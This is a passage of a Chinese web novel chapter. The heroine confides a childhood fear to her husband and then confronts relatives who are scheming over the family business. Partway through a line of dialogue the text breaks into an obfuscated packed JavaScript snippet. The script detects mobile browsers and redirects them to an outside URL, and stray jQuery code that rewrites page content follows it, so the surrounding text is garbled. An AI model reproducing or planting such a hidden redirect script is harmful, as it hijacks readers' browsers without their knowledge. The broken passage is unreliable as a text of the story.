38. 恐惧

作品:《和天降失忆男结婚后

    苏轩冽来时,看到的就是这样一幕:水若惜看着玩闹的几人,嘴角上扬,一看就知道她现在心情很好。


    他走到了她的身旁,有些好奇她怎么站在这里:“你怎么不加入她们?”


    “…”水若惜还没回答,朝阳便兴冲冲地快步走到了她的面前。刚才那一阵活动她已经有些出汗了,她想让水若惜也分享此刻的快乐。


    “小姐!让我来试试!”说罢,一下子把她抱了起来。


    “啊!”水若惜不受控制地抱住她,离地的那一刻,恐惧一时间充斥了全身,“快放我下来!”


    语气一时间有些尖锐。


    朝阳听话地立马将她放下,脚再次触地,她这才感觉安心。


    朝阳并没有意识到刚才水若惜语气的不对劲,她回忆了一下抱其他人的感受,关心道:“小姐该多吃饭了,比惜夏还轻。”


    水若惜勉强牵起了嘴角,冲她笑笑:“我争取多吃点,你先去和她们玩吧,我和姑爷还有事。”


    朝阳点点头,听见恋薰她又在叫她,想尝试另一个抱法,便快步离开了。


    待她走后,水若惜腿一软,坐在了凳子上。


    苏轩冽这才发现她的不对,担心地问道:“你还好吗?”


    水若惜苦笑:“我其实很怕别人将我抱起来。”那种无法靠自己支撑,全身力量都需要依靠他人的感觉,让她感到恐惧。


    “你不告诉她们吗?”


    她摇摇头,她不想让她们为这种无足轻重的小事担心:“没关系,平时也不会遇到这种状况。朝阳也是今天太兴奋了,没必要让她们扫兴。”


    “嗯…”苏轩冽却想起了他们拜堂那天,他也是这样抱着她的,忍不住问道,“那我们成亲那天…你感觉还好吗?”


    水若惜愣了愣,没想到他会提起那天。


    记忆回到他们成亲的那天,她当时的脑中只有眼前的一片红色,掺杂着他身上的气味,以及希望这一切赶紧结束的迫切感。


    诚实地摇摇头:“那天没有害怕,脑中被其他事占据了。”


    “那就好。”苏轩冽松了口气。


    水若惜看向他:“你不问我为什么会害怕吗?”


    苏轩冽摇摇头:“你想说自然会说的。更何况,即便没有原因,我要做的也只是让你不要再遇到相同的事而已。”


    水若惜没想过他会这么说,他没那么在乎她的过去,但他好像又很在乎她现在的感受。


    她一时有些不知道做何反应,她该因为他的不在乎感到生气或者失望吗?好像没有,相反,她有些开心。


    意识到自己开心于他的语气像是要保护他,避免某些可以避免的伤害。


    她有了诉说往事的欲望。那些被她埋在记忆深处,本以为不会再被提起的往事。


    “小的时候,有一次被困在假山上,不敢下来。”水若惜本以为自己再次提起这些事,会充满怨恨。但真正说起时,她却语气平淡:“当时没有人敢帮我,因为傅辛瑶就在旁边看着,后来我是自己跳下来的。摔断了腿,被迫在床上躺了很久。”


    “爹来看过我,我想告状,但是他不相信,他以为我是因为娘,才格外排斥的她。”


    “哦,你还不知道吧?傅辛瑶如今是我那好二伯的妻子,水临风的娘。曾经,她差点成了我和薰儿的娘。”


    水临风?想起水临风的年纪,苏轩冽总觉得这一切不似她说的那般简单。


    但听她这般说,也知道是一段并不美好的往事,他感到心疼,说出口的话却苍白无力:“都过去了。”


    “是啊,都过去了。”水若惜看着不远处笑闹的她们,“现在我已经比那座不敢跳的假山高了,可惜还是会害怕,害怕双脚离地,更害怕会摔倒。”


    但这大概是很多个恐惧中最不起眼的一个,毕竟她已经长大,很少会有人近身,也就更别谈将她抱起了。


    “那座假山现在在哪里?”苏轩冽迫切地想要见到那座假山,他想更加了解她,更想为她出气。


    水若惜耸耸肩:“已经不存在了。”


    “嗯?”苏轩冽没太理解她的话,“什么叫不存在了?”


    “我已经毁掉了,在有能力之后,做的第一件事,就是毁了它。”说到这,水若惜有些疑惑。她本以为毁了它,她的恐惧就可以随之一起消失。可惜,并没有她想的那么简单。


    苏轩冽一时间有些失语,看着她,任何话语也无法表达他这一刻的感受。


    “你…真的很强大。”


    “谢谢,我在努力成为你形容的那种人。”水若惜不置可否。


    她并不觉得自己强大,她知晓自己只是个普通人,一个会恐惧,有欲望,会犯错的普通人。


    但是她期待自己会变得更好,她朝着空气哈了口热气,看着那白雾出现,又消散。


    希望自己所走的路,是正确的。


    远处走来了一位小厮,是水爸来送话了,要一起吃团圆饭。


    他带来的消息打破了这片难得的欢乐。


    团圆饭,水爸想要的团团圆圆,会有谁的存在,不言而喻。


    恋薰皱起了眉头,她并不想见道他们。她幼时的记忆虽并不清晰,但是排斥感一直存在,更何况现在和水若惜的矛盾几乎摆在了明面上:“阿姐,我不想见他们。”


    看水若惜没有说话,她再接再励:“他们这段时间小动作又多起来了,好烦。我们不能不去吗?”


    水若惜也并不想看见他们,但这是水爸的愿望。


    捏了捏水恋薰的脸,水若惜安慰道:“走吧,去会会他们,别让爹久等。”


    重要的不是他们,而是水爸。


    “好吧…”


    果不其然,厅门口,还没进门,便听见里面的人正在给水爸疯狂“上眼药”。


    “若惜也真是的,没经过大哥您同意,就跑那么远的地方,实在是心大。这万一有个三长两短,大哥您可怎么办。”水亦修的声音透露着虚假的担忧。水若惜一听见这个声音就烦。


    “儿孙自有儿孙福


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197130|194357||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”水爸并不接茬,让水若惜微微放心了一些。看来前面和水爸争取来的三年,水爸记在了心中。


    房中的水亦修看水爸好似真不在意,甚至喝起了茶水,好不悠闲。


    他眼珠一转,将特意整理好的账簿递给了水爸,面露骄傲道:“大哥,不是我自夸,临风这孩子最近长大了,懂事了。他把底下的生意管理的井井有条,您看,这是账簿。”


    水爸放下茶杯,接过账簿,翻阅片刻,满意点点头:“不错。”


    “要我这过来人说呀,这生意还是要交给临风。若惜现在正是生孩子的时候,这要是有了身孕,还如何管这重担?”一直在旁边没有说话的女人收到水亦修的眼神示意后,说话了。


    门外的水若惜听见这个声音,脸色一下子变得难看起来。


    “…哎,她主意大着呢。”可能是说到心坎上了,水爸长叹,将账簿递还给水亦修,语气变得有些埋怨。


    水亦修心下一喜,他就知道他的好大哥还是在意这些事的。


    但面上他还是一脸为他抱不平的样子:“说到底,还是大哥您太宠她了,这水府的产业不还是您的吗?您想给谁就给谁,她是您女儿,您还会害她不成?再说了,父女之间哪有隔夜仇?”


    “这…”水爸不得不承认,这说进了他的心坎里。是呀,她非要做这些那么辛苦干什么?明明这辈子无论如何都不愁吃喝用度。


    但想起她临行前的样子,理智尚存,他摆摆手,不愿在这件事上多说:“她说让我给她三年时间。”反正也就三年而已,等她长大都这么多年了,还怕这三年?他等得起!


    “哎呀大哥,她能等三年,那姑爷也要陪着等三年吗?”


    “就是说呀,那姑爷说是入赘,看起来也不像贫苦人家出身,万一影响了他们的感情…”


    “是呀,要我说,找一个愿意入赘的姑爷可没那么容易。我看他们两个现在感情也不错,不如就…”


    水亦修及其夫人轮番上阵,试图洗脑水爸,让他重燃那颗想让水若惜做“寻常女子”的心。


    他们最近也琢磨出了些问题,水若惜拉走了他们几个最大的商户,他们不想做他们的买卖是一回事,被水若惜拉走了就是另一回事了。


    区区一个女子,非要和他们水家唯一的男儿挣来抢去,像什么样子!关键是水亦德(水爸)也是个耳根子软的,他女儿说什么便是什么,没有一点坚持。


    水亦修打心眼里看不起他的好大哥。


    水府的一切就应该留给水临风,水若惜根本不配!


    夫妻二人对视一眼,看出了彼此眼中的欲望:一定要趁此机会,好好和他说道说道!


    在门外的水若惜听不下去了,听着他们越说越过分的话。挡住了愤怒着想要冲进去的水恋薰。


    深呼吸后,她推门而入,面上挂着假笑:


    “许久不见,我的‘好’二伯什么时候这么关心我的感情生活了?”


    “怕不是这明年,太阳要从西边升起了吧?”